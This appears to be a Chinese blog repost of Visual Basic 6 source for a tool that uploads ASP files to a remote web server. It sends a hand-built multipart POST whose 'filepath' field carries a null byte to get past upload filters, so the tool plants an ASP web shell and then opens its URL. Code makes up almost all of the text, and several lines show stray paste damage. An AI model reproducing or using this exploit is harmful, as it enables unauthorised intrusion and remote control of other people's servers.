作者：未知    信息来源：xiaoke'sBlog

以下代码在VB6.0+XP  下通过

复制内容到剪贴板

代码:

Option Explicit
Dim strCommand, ShellCode1, ShellCode2, ShellCode3, strcode, hostpath, asppath, secpath As String
Dim aspfilesize As Integer


Private Sub Command1_Click() ‘开始上传按钮
Winsock1.Close
Winsock1.RemoteHost = Rhost.Text
Winsock1.RemotePort = CInt(Rport.Text)
Winsock1.Connect

End Sub


Private Sub Command2_Click() ’打开本地文件
On Error GoTo err
Dim ofn As OPENFILENAME
Dim rtn As String

ofn.lStructSize = Len(ofn)
ofn.hwndOwner = Me.hwnd
ofn.hInstance = App.hInstance
ofn.lpstrFilter = "ASP文件 (*.asp)" & Chr$(0) & "*.asp" & Chr$(0) & "所有文件 (*.*)" & Chr$(0) & "*.*" & Chr$(0)
ofn.lpstrFile = Space(254)
ofn.nMaxFile = 255
ofn.lpstrFileTitle = Space(254)
ofn.nMaxFileTitle = 255
ofn.lpstrInitialDir = App.Path
ofn.lpstrTitle = "请选择要打开的ASP文件"
ofn.flags = 6148

rtn = GetOpenFileName(ofn)

If rtn >= 1 Then
Open ofn.lpstrFile For Binary As #1
ShellCode2 = Input(LOF(1), 1)
Close 1
End If
aspfilesize = FileLen(ofn.lpstrFile) + 4
Command1.Enabled = True
Exit Sub
err:
MsgBox err.Description, 48, "错误提示！"
End Sub


Private Sub Command3_Click() ‘直接查看
ShellExecute 0&, vbNullString, Text1.Text, vbNullString, vbNullString, vbNormalFocus
End Sub


Private Sub Winsock1_Connect()
On Error Resume Next
If err Then GoTo err
strcode = "---------------------------7d439d8c04f8"
hostpath = Trim(Rhost.Text)
If InStr(hostpath, "/") > 1 Then GoTo err2
secpath = Trim(Text4.Text)
If Left(secpath, 1) <> "/" Then secpath = "/" & secpath
asppath = Trim(AspPach.Text)
If Left(asppath, 1) <> "/" Then asppath = "/" & asppath
If Len(ShellCode2) < 10 Then GoTo err3

ShellCode1 = "--" & strcode & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Disposition: form-data; name=" & Chr(34) & "filepath" & Chr(34) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & asppath & Chr(0) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "--" & strcode & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Disposition: form-data; name=" & Chr(34) & "act" & Chr(34) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "upload" & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "--" & strcode & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Disposition: form-data; name=" & Chr(34) & "file1" & Chr(34) & "; filename=" & Chr(34) & "d:\test.gif" & Chr(34) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Type: text/asp" & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode3 = Chr(13) & Chr(10) & Chr(13) & Chr(10) & "--" & strcode & Chr(13) & Chr(10)
ShellCode3 = ShellCode3 & "Content-Disposition: form-data; name=" & Chr(34) & "Submit" & Chr(34) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode3 = ShellCode3 & "提交" & Chr(13) & Chr(10)
ShellCode3 = ShellCode3 & "--" & strcode & "--"


strCommand = "POST " & secpath & " HTTP/1.1" & Chr(13) & Chr(10)
strCommand = strCommand & "Referer: http://"; & hostpath & Chr(13) & Chr(10)
strCommand = strCommand & "Content-Type: multipart/form-data; boundary=" & strcode & Chr(13) & Chr(10)
strCommand = strCommand & "Host: " & hostpath & Chr(13) & Chr(10)
strCommand = strCommand & "Content-Length: " & CStr(Len(ShellCode1 & ShellCode3) + aspfilesize) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
strCommand = strCommand & ShellCode1 & ShellCode2 & ShellCode3 & Chr(13) & Chr(10)


Winsock1.SendData strCommand


MsgBox "连接地址：http://"; & hostpath & asppath, 48, "上传成功"
Text1.Text = "http://"; & hostpath & asppath
Command3.Enabled = True
Exit Sub

err:
MsgBox err.Description, 48, "错误提示！"
err2:
MsgBox "主机地址输入框请勿包括http://或目录各称!", 48, "错误提示！"
err3:
MsgBox "请正确选择要上传的文件", 32, "提示"

End Sub
-----------------------------以下是模块-------------------------------------

Option Explicit

Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long

Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type

上面的程序也许只是一个示例，但不是完美的代码。

如果你只是按上面的东西copy 编译+执行，也许得不到新结果，反而带给你更多的问题。

偶为这个程序编译成exe程序致敬。！！！！！

建议大家还是使用我们内部的程序

这是个学习的代码
如果是使用这类工具的话,
网上到处都是 呵呵